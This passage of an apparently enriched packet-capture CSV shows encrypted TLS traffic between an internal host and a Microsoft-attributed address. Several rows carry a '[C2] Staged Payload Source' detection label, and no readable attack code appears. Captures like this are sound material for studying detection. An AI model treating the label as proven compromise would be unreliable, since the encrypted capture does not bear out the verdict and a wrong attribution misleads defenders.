\"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036244, \"\"ack\"\": 763875458, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 38544, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xbe-.?x\\\\xef|K\\\\xd4{pY\\\\xaf\\\\xc7U\\\\x1f~^\\\\xbc\\\\xe6\\\\xbaz\\\\x80\\\\x93\\\\x1e\\\\xf4\\\\xaak\\\\xbb}\\\\x0f\\\\xae\\\\x82\\\\xa2\\\\x96qG\\\\xcf\\\\xa7\\\\xa6&Fl\\\\xe6\\\\xf5`\\\\xfaN\\\\xe4\\\\x05\\\\x8e\\\\xa5\\\\xc4B\\\\x84\\\\xe1!\\\\xe4r&\\\\xb3r\\\\x87=\\\\xe3\\\\xff\\\\xebY:y\\\\x12\\\\xe0\\\\xc1\\\\x13\\\\xea\\\\r\\\\x1c\\\\x1a\\\\xd1p\\\\x08\\\\x17i\\\\x0f\\\\xfc\\\\xfa\\\\xeb\\\\x19\\\\x16\\\\xeek\\\\xc8\\\\xf8\\\\xd9Y\\\\xa3#&\\\\xdf9\\\\xb6Y\\\\x8c' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:48.273327,70,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=763875458 Ack=3321036360,bc2411360d0cbc24112907bb0800450000288ccb40004006a04a84f5e6210a98980b01bbfa0a2d87d082c5f2fe485010003f0dd50000,\".$.6\n..$.)....E..(..@.@..J...!\n......\n-......HP..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36043, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41034, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763875458, \"\"ack\"\": 3321036360, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:48.699235,71,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=763875458 Ack=3321036360,bc2411360d0cbc24112907bb08004500042c8ccc400040069c4584f5e6210a98980b01bbfa0a2d87d082c5f2fe485018003f11d9000017030300210000000000000002a1de753480401e23a7ff48f85e5c86cf817a03c464582df7f517030302dc0000000000000003cf0fd07c32175b00894cf169ebe264f44dc4c327411829236e3e7e2124d46268b6a5b7547d28ee48065dc966a799043e6006e269eac4c73d61e43016316a8be6c63cae033d117a2a0c86e606f428d83a138938eeb905517ae0d9866b05eea72735326f0ece592c4a139c54b7789164ef21cd6602ac7dab7e74789ff54db43a339c74ef16ca382b410ca31c9eda08a0d20251f00d2c1590fb061a1eadef6d07665a4b77cd4e133c30816743295747ba9c034371f6c0938dde8656013b745d9272f3d434d19b324b6e710a55a7b91cda275feaf08c5e89f0ab89a489f6d32c088577802830f6d430be6e434cc6a30d8620576cfe5034b164e16f4db6dc32fce949ffd5685289c545b0ad196a66bdfd1f706e2c153c4d92158293836455f1c86077d56529d1a44f2db27e17b7acf92ea1ff1c70b9a3981337e70db846941bdda5359aafcb273280aa59161238f71b5f85a237194c87f937f125e63f129021734b7faf730532ccbda7f69157014e7a8c5ab7259b700af0486cb88ea121df4cf77465ed68b1c62befa846581c5d37d66c88fec56e70b6bd463955a6c5c38e3a3e6d842eede410cf459d8e8c8d6389329948b2bd88153506c201f410d9aa1b10a6cf040081665a0f1318522302e5ec256a656fbc40430565194baebc8799ffd927c0a1caf2b9e3378d03882d9d26331b45d7565cc61ac851928e98ad589fe734f47d6196c21e129a947a1d641fbc9f3abb910932ff1368de3a3ffd1b80e16e9fc4dd84559ae4083c01694d25a29c93364180d4cc3607abf414728d13598cf9e525dbb060b7f3ea9f9aeb18626d163dd3f777718e7ea16a551c6d3d1db7731f61b02462fcd881e1a89274e3d16df1855f71a9fe63cc1f199f49cb0a54ee81ad81e93dcb0709522599c383499c79f7f329d3b206fdacc4cd76ea94caecf2fd01b57fb2e0e1463905f0ca5eb5d38749d3fe99138b64b6f77f8a122e2648d60d1541bc52c3e50d4271a678e92ef5078f5e026a72eaa3bc89b117030300d200000000000000049b1f24426467d3fd9f9d10ee423d7f4fd89a2e58250abe1eefc936d5994dda3e32b5d4c592277f499c1e31003f4e38443158b81b4dcefc252cd525a161b011bd63ece8c796e5cc767b791ac6976ca9d4bd2e099c180c14c70ff506b08f326091351fe38250dd652ef407915301b6594626158e12750cb5674d8876eb87a05ad0f2d1011aa43960fd3548ee497bfeaa683695cb636c34e2507d9f76ee8981c963ff1708032101333163ae376641d75865d5a102e895cd204932abe56067cc136b4cda419d14631d5fc77f17030300210000000000000005770f35658b4d22d03a266109d5da87c4887466a36716a8f680,\".$.6\n..$.)....E..,..@.@..E...!\n......\n-......HP..?........!..........u4.@.#..H.^\\...z..dX-..................|2.[..L.i..d.M..'A.)#n>~!$.bh...T}(.H.].f...>`..i...=a.0.1j...<..=.z*.....(.:..8...Qz...k...'52o..Y,J..T.x.d.!.f..}.~tx..M.:3.t...8+A.........Q.\n,........m.fZKw.N.<0.gC)WG...Cq......V.;t].r..4..2Knq\nU....'_...^........,..w.(0..0.nCL..\n. Wl.P4.d.oM..2..I..hR..E...jf...pn,.<M.....dU..`w.e)..O-.~........p....7.\n.F....5...'2..Y..8.._..7.L..7.%.?..!sK..s.2.....W.Nz.Z.%.p\n.Hl...!.L.te.h..+..FX.]7.l...np..F9U....:>m......E....c.2.H....5..............fZ...R#...%jeo.@C.e.K......'......7...-.&3.E.V\\...Q....X..4.}a......z.d...:..\t2..h.:?....n....U...<.iM%...6A...6....r..Y...%..`.......bm.=..wq.~.jU.m=..s.a.$b......t..m.._q..c....I.\nT.....=..\tR%...I.y..).......v............F9...^...I.....d......&H.\n.A.R..\nBq.x.....^.jr....................$Bdg......B=.O...X%\n....6..M.>2....'.I..1.?N8D1X..M..%,.%.a...c......v{y...l....\t..........2`.5...P.e....S..YF&...u..gM.v...Z......9`.5H.I{..h6..cl4.P}.v....c....!.31c.7fA.Xe...... I2..`g..kL.A..c._......!........w.5e.M\"\".:&a\t.....tf.g....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1068, \"\"id\"\": 36044, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 40005, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763875458, \"\"ack\"\": 3321036360, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 4569, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xa1\\\\xdeu4\\\\x80@\\\\x1e#\\\\xa7\\\\xffH\\\\xf8^\\\\\\\\\\\\x86\\\\xcf\\\\x81z\\\\x03\\\\xc4dX-\\\\xf7\\\\xf5' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 732, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xcf\\\\x0f\\\\xd0|2\\\\x17[\\\\x00\\\\x89L\\\\xf1i\\\\xeb\\\\xe2d\\\\xf4M\\\\xc4\\\\xc3'A\\\\x18)#n>~!$\\\\xd4bh\\\\xb6\\\\xa5\\\\xb7T}(\\\\xeeH\\\\x06]\\\\xc9f\\\\xa7\\\\x99\\\\x04>`\\\\x06\\\\xe2i\\\\xea\\\\xc4\\\\xc7=a\\\\xe40\\\\x161j\\\\x8b\\\\xe6\\\\xc6<\\\\xae\\\\x03=\\\\x11z*\\\\x0c\\\\x86\\\\xe6\\\\x06\\\\xf4(\\\\xd8:\\\\x13\\\\x898\\\\xee\\\\xb9\\\\x05Qz\\\\xe0\\\\xd9\\\\x86k\\\\x05\\\\xee\\\\xa7'52o\\\\x0e\\\\xceY,J\\\\x13\\\\x9cT\\\\xb7x\\\\x91d\\\\xef!\\\\xcdf\\\\x02\\\\xac}\\\\xab~tx\\\\x9f\\\\xf5M\\\\xb4:3\\\\x9ct\\\\xef\\\\x16\\\\xca8+A\\\\x0c\\\\xa3\\\\x1c\\\\x9e\\\\xda\\\\x08\\\\xa0\\\\xd2\\\\x02Q\\\\xf0\\\\r,\\\\x15\\\\x90\\\\xfb\\\\x06\\\\x1a\\\\x1e\\\\xad\\\\xefm\\\\x07fZKw\\\\xcdN\\\\x13<0\\\\x81gC)WG\\\\xba\\\\x9c\\\\x03Cq\\\\xf6\\\\xc0\\\\x93\\\\x8d\\\\xde\\\\x86V\\\\x01;t]\\\\x92r\\\\xf3\\\\xd44\\\\xd1\\\\x9b2Knq\\\\nU\\\\xa7\\\\xb9\\\\x1c\\\\xda'_\\\\xea\\\\xf0\\\\x8c^\\\\x89\\\\xf0\\\\xab\\\\x89\\\\xa4\\\\x89\\\\xf6\\\\xd3,\\\\x08\\\\x85w\\\\x80(0\\\\xf6\\\\xd40\\\\xbenCL\\\\xc6\\\\xa3\\\\r\\\\x86 Wl\\\\xfeP4\\\\xb1d\\\\xe1oM\\\\xb6\\\\xdc2\\\\xfc\\\\xe9I\\\\xff\\\\xd5hR\\\\x89\\\\xc5E\\\\xb0\\\\xad\\\\x19jf\\\\xbd\\\\xfd\\\\x1fpn,\\\\x15<M\\\\x92\\\\x15\\\\x82\\\\x93\\\\x83dU\\\\xf1\\\\xc8`w\\\\xd5e)\\\\xd1\\\\xa4O-\\\\xb2~\\\\x17\\\\xb7\\\\xac\\\\xf9.\\\\xa1\\\\xff\\\\x1cp\\\\xb9\\\\xa3\\\\x98\\\\x137\\\\xe7\\\\r\\\\xb8F\\\\x94\\\\x1b\\\\xdd\\\\xa55\\\\x9a\\\\xaf\\\\xcb'2\\\\x80\\\\xaaY\\\\x16\\\\x128\\\\xf7\\\\x1b_\\\\x85\\\\xa27\\\\x19L\\\\x87\\\\xf97\\\\xf1%\\\\xe6?\\\\x12\\\\x90!sK\\\\x7f\\\\xafs\\\\x052\\\\xcc\\\\xbd\\\\xa7\\\\xf6\\\\x91W\\\\x01Nz\\\\x8cZ\\\\xb7%\\\\x9bp\\\\n\\\\xf0Hl\\\\xb8\\\\x8e\\\\xa1!\\\\xdfL\\\\xf7te\\\\xedh\\\\xb1\\\\xc6+\\\\xef\\\\xa8FX\\\\x1c]7\\\\xd6l\\\\x88\\\\xfe\\\\xc5np\\\\xb6\\\\xbdF9U\\\\xa6\\\\xc5\\\\xc3\\\\x8e:>m\\\\x84.\\\\xed\\\\xe4\\\\x10\\\\xcfE\\\\x9d\\\\x8e\\\\x8c\\\\x8dc\\\\x892\\\\x99H\\\\xb2\\\\xbd\\\\x88\\\\x155\\\\x06\\\\xc2\\\\x01\\\\xf4\\\\x10\\\\xd9\\\\xaa\\\\x1b\\\\x10\\\\xa6\\\\xcf\\\\x04\\\\x00\\\\x81fZ\\\\x0f\\\\x13\\\\x18R#\\\\x02\\\\xe5\\\\xec%jeo\\\\xbc@C\\\\x05e\\\\x19K\\\\xae\\\\xbc\\\\x87\\\\x99\\\\xff\\\\xd9'\\\\xc0\\\\xa1\\\\xca\\\\xf2\\\\xb9\\\\xe37\\\\x8d\\\\x03\\\\x88-\\\\x9d&3\\\\x1bE\\\\xd7V\\\\\\\\\\\\xc6\\\\x1a\\\\xc8Q\\\\x92\\\\x8e\\\\x98\\\\xadX\\\\x9f\\\\xe74\\\\xf4}a\\\\x96\\\\xc2\\\\x1e\\\\x12\\\\x9a\\\\x94z\\\\x1dd\\\\x1f\\\\xbc\\\\x9f:\\\\xbb\\\\x91\\\\t2\\\\xff\\\\x13h\\\\xde:?\\\\xfd\\\\x1b\\\\x80\\\\xe1n\\\\x9f\\\\xc4\\\\xdd\\\\x84U\\\\x9a\\\\xe4\\\\x08<\\\\x01iM%\\\\xa2\\\\x9c\\\\x936A\\\\x80\\\\xd4\\\\xcc6\\\\x07\\\\xab\\\\xf4\\\\x14r\\\\x8d\\\\x13Y\\\\x8c\\\\xf9\\\\xe5%\\\\xdb\\\\xb0`\\\\xb7\\\\xf3\\\\xea\\\\x9f\\\\x9a\\\\xeb\\\\x18bm\\\\x16=\\\\xd3\\\\xf7wq\\\\x8e~\\\\xa1jU\\\\x1cm=\\\\x1d\\\\xb7s\\\\x1fa\\\\xb0$b\\\\xfc\\\\xd8\\\\x81\\\\xe1\\\\xa8\\\\x92t\\\\xe3\\\\xd1m\\\\xf1\\\\x85_q\\\\xa9\\\\xfec\\\\xcc\\\\x1f\\\\x19\\\\x9fI\\\\xcb\\\\nT\\\\xee\\\\x81\\\\xad\\\\x81\\\\xe9=\\\\xcb\\\\x07\\\\tR%\\\\x99\\\\xc3\\\\x83I\\\\x9cy\\\\xf7\\\\xf3)\\\\xd3\\\\xb2\\\\x06\\\\xfd\\\\xac\\\\xc4\\\\xcdv\\\\xea\\\\x94\\\\xca\\\\xec\\\\xf2\\\\xfd\\\\x01\\\\xb5\\\\x7f\\\\xb2\\\\xe0\\\\xe1F9\\\\x05\\\\xf0\\\\xca^\\\\xb5\\\\xd3\\\\x87I\\\\xd3\\\\xfe\\\\x99\\\\x13\\\\x8bd\\\\xb6\\\\xf7\\\\x7f\\\\x8a\\\\x12.&H\\\\xd6\\\\r\\\\x15A\\\\xbcR\\\\xc3\\\\xe5\\\\rBq\\\\xa6x\\\\xe9.\\\\xf5\\\\x07\\\\x8f^\\\\x02jr\\\\xea\\\\xa3\\\\xbc\\\\x89\\\\xb1\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 210, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x9b\\\\x1f$Bdg\\\\xd3\\\\xfd\\\\x9f\\\\x9d\\\\x10\\\\xeeB=\\\\x7fO\\\\xd8\\\\x9a.X%\\\\n\\\\xbe\\\\x1e\\\\xef\\\\xc96\\\\xd5\\\\x99M\\\\xda>2\\\\xb5\\\\xd4\\\\xc5\\\\x92'\\\\x7fI\\\\x9c\\\\x1e1\\\\x00?N8D1X\\\\xb8\\\\x1bM\\\\xce\\\\xfc%,\\\\xd5%\\\\xa1a\\\\xb0\\\\x11\\\\xbdc\\\\xec\\\\xe8\\\\xc7\\\\x96\\\\xe5\\\\xccv{y\\\\x1a\\\\xc6\\\\x97l\\\\xa9\\\\xd4\\\\xbd.\\\\t\\\\x9c\\\\x18\\\\x0c\\\\x14\\\\xc7\\\\x0f\\\\xf5\\\\x06\\\\xb0\\\\x8f2`\\\\x915\\\\x1f\\\\xe3\\\\x82P\\\\xdde.\\\\xf4\\\\x07\\\\x91S\\\\x01\\\\xb6YF&\\\\x15\\\\x8e\\\\x12u\\\\x0c\\\\xb5gM\\\\x88v\\\\xeb\\\\x87\\\\xa0Z\\\\xd0\\\\xf2\\\\xd1\\\\x01\\\\x1a\\\\xa49`\\\\xfd5H\\\\xeeI{\\\\xfe\\\\xaah6\\\\x95\\\\xcbcl4\\\\xe2P}\\\\x9fv\\\\xee\\\\x89\\\\x81\\\\xc9c\\\\xff\\\\x17\\\\x08\\\\x03!\\\\x0131c\\\\xae7fA\\\\xd7Xe\\\\xd5\\\\xa1\\\\x02\\\\xe8\\\\x95\\\\xcd I2\\\\xab\\\\xe5`g\\\\xcc\\\\x13kL\\\\xdaA\\\\x9d\\\\x14c\\\\x1d_\\\\xc7\\\\x7f\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05w\\\\x0f5e\\\\x8bM\\\"\"\\\\xd0:&a\\\\t\\\\xd5\\\\xda\\\\x87\\\\xc4\\\\x88tf\\\\xa3g\\\\x16\\\\xa8\\\\xf6\\\\x80' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:48.699449,72,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3321036360 Ack=763876486,bc24112907bbbc2411360d0c0800450000288f0c400080065e090a98980b84f5e621fa0a01bbc5f2fe482d87d486501003fadc100000,\".$.)...$.6\n...E..(..@...^\t\n......!.\n.....H-...P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36620, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24073, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036360, \"\"ack\"\": 763876486, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 56336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:48.700142,73,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3321036360 Ack=763876486,bc24112907bbbc2411360d0c0800450000688f0d400080065dc80a98980b84f5e621fa0a01bbc5f2fe482d87d486501803fa05790000170303003b000000000000000400db0fa65bba1452136ec0c0c7acb993f33fb4b5529d1fd4640faa5a06bda43dd43339334f94cd60be8860fed0b4101c380040,\".$.)...$.6\n...E..h.\n@...].\n......!.\n.....H-...P....y......;............[..R.n.......?..R...d..Z...=.393O..`..`.....8.@\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 36621, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24008, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036360, \"\"ack\"\": 763876486, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1018, \"\"chksum\"\": 1401, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\xdb\\\\x0f\\\\xa6[\\\\xba\\\\x14R\\\\x13n\\\\xc0\\\\xc0\\\\xc7\\\\xac\\\\xb9\\\\x93\\\\xf3?\\\\xb4\\\\xb5R\\\\x9d\\\\x1f\\\\xd4d\\\\x0f\\\\xaaZ\\\\x06\\\\xbd\\\\xa4=\\\\xd4393O\\\\x94\\\\xcd`\\\\xbe\\\\x88`\\\\xfe\\\\xd0\\\\xb4\\\\x10\\\\x1c8\\\\x00@' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:48.700149,74,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=763876486 Ack=3321036424,bc2411360d0cbc24112907bb0800450000288ccd40004006a04884f5e6210a98980b01bbfa0a2d87d486c5f2fe885010003f0dd50000,\".$.6\n..$.)....E..(..@.@..H...!\n......\n-.......P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36045, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41032, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763876486, \"\"ack\"\": 3321036424, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:49.110451,75,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=763876486 Ack=3321036424,bc2411360d0cbc24112907bb0800450002fc8cce400040069d7384f5e6210a98980b01bbfa0a2d87d486c5f2fe885018003f10a9000017030302cf00000000000000068504620314842ab25e00964180cfbe8377a4ccad68732318b923a929a2bba4c9357700bf18553198d828d83e2106eff737d458fa6becbe91f8eba7e6df18418165cd88b3ad42b6ca075b75345eb46ae788b1d230f26614543b90522ddc197a8e0a7391607c55e8cc93426e4be05dba955b914a53feb123a0803810a0a5b15ae438f33616f391156aace406a9ae028912a404088a1ca72c0bb141cbf572e8ff5a184817e3404b3b34db9c88aa416ecb359db4eea7d44e510a791f0868b971f7f9717695b8614338b64ab2a96b43602e470a56b5dd97fb117f5f7476e29c03f1e654d518dc25a16102ff12d4f3ac62c6959a638b276061283d2bd5538bb1e531b318b54113f0f0f403bc0d55d08206c1959c070a95b75619cb21ee977fd34df610759ff76ff95c2c74007a436cc08a825bbd9a8c79f684fce1683537c7e36735865bbcce9e17af57ecdd2695f281373e4945cb36c55053a2757f5474829f7c3fe9c8d87e76e8d71bfde3d4e4d90443a0d76e7dfe04f7132a7304fa7c2328ed1d7d0468b1f3f106c43d3b179846c05a53b25308ac979a0bc2b92c8e39d408eba0cb872d6d8e873a016ddd7acb1fa7f04295410c6d182f751b12d13889698b8a71880124d4caa13989d9510d5c270b53a898258cf95d58a4a26d751282402b4fd994f9a883565c7ffbc0dd48e26efb50217d9fb9a3c1c2f5915c29471168586592b9e75df3ca7149c13670c52406529bb5540140dd4f05598fa405ade17854c797e7b73b94fb36a17bb7864018dfcfaa59783b08cb3c50f0fa9824cd636790e95460874135a37e60ea7265e42d6c7db7ca6e76b2dc3025c592b46f6cdabadf971f8fc8682b7e6dcaf1ed9120da2fff62c7cda2a922c8858cee0341b6261e85059fc6af72fa1fe0dce1b2337fd50b89a785c462caa2c06748671d73748240a6e9ffea0e279029996f571a957de96df330adb5e526cd662a49f2a8439c9832df1bace07496965b952398,\".$.6\n..$.)....E.....@.@..s...!\n......\n-.......P..?...................b...*.^..A....w...hs#..#.)....5w...U1..(.>!...7.X.k.........A.e....B...[u4^.j....0.f.T;.R-..z.\ns.`|U...BnK.]..[.JS..#..8....Z.8.6....j..............,..A..r..Z.H..@K;4....An.5.....NQ\ny..h.q..qv..aC8.J..kC`.G\nV......_tv.....T...%.a......b...c.'`a(=+.S...1...A......\nU.......\n..V..!....M..u..o.\\,t.zCl...[...y....h57..g5.[.....W..&...7>IE.6.PS.u.Tt..|?...~v.........C..n}....*s..|#(..}.h.....=;..F.ZS.S.......,.9......-m..:.m.z....B.A.m./u...8.i..q..$...9..Q\n\\'.S..%..]X..mu..@+O.....V\\....H.n.P!}.......\\)G.hXe...]..qI.6p.$.R..T.@.O.Y.....xT....;..6.{..@....Yx;..<P...$.cg..T`.A5.~`.re.-l}..nv..0%...ol.......h+~m.... ./.b....\"\".....A.&......r......3.......b...gHg.st.@.....'.).oW..}.m.0...&.f*I..C..2....t..[.#.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 764, \"\"id\"\": 36046, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 40307, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763876486, \"\"ack\"\": 3321036424, 